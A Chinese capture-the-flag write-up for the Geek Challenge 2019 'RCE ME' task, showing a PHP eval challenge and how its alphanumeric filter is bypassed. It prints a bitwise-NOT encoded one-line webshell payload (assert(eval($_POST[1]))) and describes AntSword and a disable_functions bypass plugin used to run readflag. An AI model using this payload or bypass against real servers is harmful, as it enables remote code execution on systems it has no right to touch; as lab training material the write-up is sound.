[极客大挑战 2019]RCE ME
文章目录
- [极客大挑战 2019]RCE ME
- 掌握知识
- 解题思路
- 关键paylaod
掌握知识
RCE无数字和字母的bypass,取反 异或 递增
解题思路
- 打开题目链接,发现是代码审计的题目,而且代码比较简单,似乎关键就是RCE无数字字母的
bypass,之前有接触过,这次使用取反来进行执行一句话木马代码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
- 使用之前保存的经过取反之后的一句话木马
paylaod
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
assert(eval($_POST[1]);)
- 但是取反的
paylaod长度多余40了,不知道什么原因可以通过长度判断,可能url判断%9e为一个字符串吧。使用蚁剑连接或者post传参执行命令都能查看靶场目录环境,进而拿下flag

- 但是查看根目录下的
flag文件,发现是空的,下面还有的readflag文件。应该是有权限限制不能直接查看flag,需要执行readflag才能查看到flag。来到虚拟终端准备执行readflag,但是发现命令都回显ret=127。

- 通过在网上的搜索,这种情况需要上传几个
php文件或者使用蚁剑的插件来自动绕过,插件需要梯子下载。下载好disable_functions插件,选好对应的php版本,执行之后直接弹出了虚拟终端,发现可以执行命令了,执行readflag,拿下flag


关键paylaod
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
assert(eval($_POST[1]);)
disable_functions插件

![[NewStarCTF 2023 公开赛道] week1](https://img-blog.csdnimg.cn/b0f1e58f85c44a90a94e95d36bd2945c.png)

![[开源项目推荐]privateGPT使用体验和修改](https://img-blog.csdnimg.cn/9f6324be5ab54dd1ad34a500acbf1b18.png)














